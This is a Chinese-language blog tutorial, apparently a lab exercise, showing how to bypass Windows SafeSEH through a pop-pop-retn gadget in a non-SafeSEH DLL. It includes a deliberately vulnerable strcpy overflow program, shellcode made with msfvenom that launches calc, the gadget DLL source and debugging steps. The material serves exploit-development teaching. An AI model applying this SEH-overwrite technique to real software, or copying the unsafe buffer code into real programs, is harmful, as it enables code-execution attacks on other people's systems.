前言:之前关于safeSEH保护机制的原理等信息,可在之前的博文(内存保护机制及绕过方案中查看)。
利用未启用SafeSEH模块绕过SafeSEH
⑴. 原理分析:
一个不是仅包含中间语言(1L)且未启用SafeSEH的模块中的异常处理,如果异常处理链在栈上,异常处理函数指针不在栈上,那么这个异常处理就可以被执行。
所以,我们能找到一个未启用SafeSEH的模块,就可以利用它里面的指令作为跳板来绕过SafeSEH。
⑵.环境准备:
i.实验代码:
生成exe文件的代码:
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90"
"x12x10x12x11"//address of pop pop retn in No_SafeSEH module
"x90x90x90x90x90x90x90x90"
"xbexe8x88x3cxfdxd9xd0xd9x74x24xf4x5ax33xc9xb1"
"x30x31x72x13x03x72x13x83xeax14x6axc9x01x0cxe9"
"x32xfaxccx8exbbx1fxfdx8exd8x54xadx3exaax39x41"
"xb4xfexa9xd2xb8xd6xdex53x76x01xd0x64x2bx71x73"
"xe6x36xa6x53xd7xf8xbbx92x10xe4x36xc6xc9x62xe4"
"xf7x7ex3ex35x73xccxaex3dx60x84xd1x6cx37x9fx8b"
"xaexb9x4cxa0xe6xa1x91x8dxb1x5ax61x79x40x8bxb8"
"x82xefxf2x75x71xf1x33xb1x6ax84x4dxc2x17x9fx89"
"xb9xc3x2ax0ax19x87x8dxf6x98x44x4bx7cx96x21x1f"
"xdaxbaxb4xccx50xc6x3dxf3xb6x4fx05xd0x12x14xdd"
"x79x02xf0xb0x86x54x5bx6cx23x1ex71x79x5ex7dx1f"
"x7cxecxfbx6dx7exeex03xc1x17xdfx88x8ex60xe0x5a"
"xebx9fxaaxc7x5dx08x73x92xdcx55x84x48x22x60x07"
"x79xdax97x17x08xdfxdcx9fxe0xadx4dx4ax07x02x6d"
"x5fx64xc5xfdx03x6b"
;
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
char str[200];
test(shellcode);
return 0;
}
生成没有SafeSEH保护的dll文件的代码。
#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved)
{
return TRUE;
}
void jump()
{
__asm{
pop eax
pop eax
retn
}
}
ii.测试环境:
测试平台:Windows 32位。
编译器:exe文件由visual studio 2008生成,dll文件由visual studio 6.0生成。
iii.编译条件:
exe文件:DEP,ASLR关闭。
dll文件:
vs 6.0 编译,没有任何保护措施,设置机制为0x11120000,(默认是0x10000000,中间的00会截断shellcode的复制)。
iv.将编译后生成的dll文件放到exe所在的文件夹下。
⑶.调试分析:
i.加载dll文件,test函数参数(shellcode)入栈,调用test函数。
ii.将我们的异常处理函数注册到SEH链中:
此时,SEH链如下:
可以看到异常处理链在栈中,异常处理函数不再栈中符合,safeSEH前两步的验证条件。
iii.确定缓冲区起始地址0x0012fd80。
iv.此时test函数的栈分布如下:
⑷.攻击过程:
i.确定shellcode大小:
我们的目的是覆盖异常处理函数的指针,将这个指针换成跳板地址,从而控制EIP使之返回到恶意代码的指针(弹出计算器)。
所以,size(shellcode) = 缓冲区起始地址 – 异常处理函数 + 4 + 8(跳板跳两次,esp增长8字节)+ 恶意代码长度。
从(3)可知,缓冲区起始地址 = 0x0012fd80
异常处理函数指针= 0x0012fe5c
ii.生成恶意代码(弹出计算器):
这里的恶意代码可以用msfconsole生成:
msfvenom -p windows/exec cmd=calc -b 'x00' -f c
生成长度为216字节的恶意代码。
iii.设计shellcode:
由i的分析可知,shellcode的结构应如下所示:
iv.找到跳板的地址:
在Ollydbg中,alt+m查看内存,查找到dll文件,可以看到我们写入的跳板地址如下:
跳板地址 = 0x11121012
v.实施攻击:
程序运行到test函数中的strcpy函数运行结束,
异常处理函数指针已经被覆盖成了我们的跳板地址。
此时,SEH链在栈上,异常处理函数不在栈上,且异常处理函数位于一个不受safeSEH保护且不仅仅只包含1L中间语言的模块中,所以这个跳板函数会执行,EIP将被控制,恶意代码执行
成功。